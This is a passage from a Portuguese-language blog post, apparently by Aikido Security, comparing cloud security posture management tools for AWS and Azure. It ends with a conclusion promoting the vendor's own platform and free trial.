- Microsoft Defender para a Nuvem: Tempo de execução + visibilidade de ameaças de configuração no Azure.
- Check Point CloudGuard: Combina a postura com a prevenção ativa de ameaças.
Melhores ferramentas CSPM para AWS
Necessidades centradas no AWS: Cobertura total do serviço, integração do Hub de Segurança e alinhamento com os padrões de referência da AWS.
Critérios-chave:
- Integração profunda com a API do AWS
- Suporte para estruturas AWS CIS/NIST
- Suporte para organizações com várias contas
- Compatibilidade com serviços nativos (por exemplo, GuardDuty, Config)
- Deteção de configuração incorrecta de baixa latência
As melhores escolhas:
- Prowler: Leve, CLI-first e nativo do AWS.
- CloudSploit: Fácil de implementar e de código aberto.
- Segurança Aqua: Suporte alargado para AWS + contentores.
- CloudCheckr: Ampla conformidade com o AWS e informações sobre custos.
Melhores ferramentas CSPM para Azure
Necessidades centradas no Azure: Integração perfeita com o Microsoft Defender, Azure Policy e serviços nativos.
Critérios-chave:
- Integração nativa com o ecossistema Azure
- Suporte para o Secure Score e o Azure Security Benchmark
- Cobertura do RBAC e da Identidade do Azure
- Correção e alertas automatizados
- Compatibilidade com o Sentinel e o Defender XDR
As melhores escolhas:
- Microsoft Defender para a Nuvem: Cobertura original com nível gratuito.
- Segurança Aikido: Plataforma CSPM pronta para o Azure com varredura sem agente, alertas de configuração incorreta em tempo real e correção baseada em IA.
- Ermetic: Gestão avançada da postura de identidade para o Azure.
- Check Point CloudGuard: Visibilidade multi-nuvem, incluindo o Azure.
- Tenable Cloud Security: IaC e verificação de tempo de execução para o Azure com deteção de desvios.
Conclusão
A Gestão da Postura de Segurança na Nuvem não é apenas uma caixa de verificação para auditorias - é a diferença entre uma nuvem segura e escalável e uma que vaza dados confidenciais por meio de configurações incorretas.
Quer seja um fundador de uma startup à procura de uma ferramenta gratuita para reforçar a sua conta AWS ou um líder de segurança numa empresa que lida com ambientes multi-nuvem, a ferramenta CSPM correta pode tornar o seu trabalho muito mais fácil.
Desde ferramentas de código aberto como o Prowler e o CloudSploit a plataformas de nível empresarial como o Prisma Cloud e o Check Point CloudGuard, o panorama é rico em opções poderosas.
Se está à procura de uma plataforma para programadores que combine CSPM com segurança de código e de tempo de execução numa interface única e simples, o Aikido Security tem tudo o que precisa.
Comece hoje mesmo a sua avaliação gratuita e veja com que rapidez pode corrigir a sua postura na nuvem.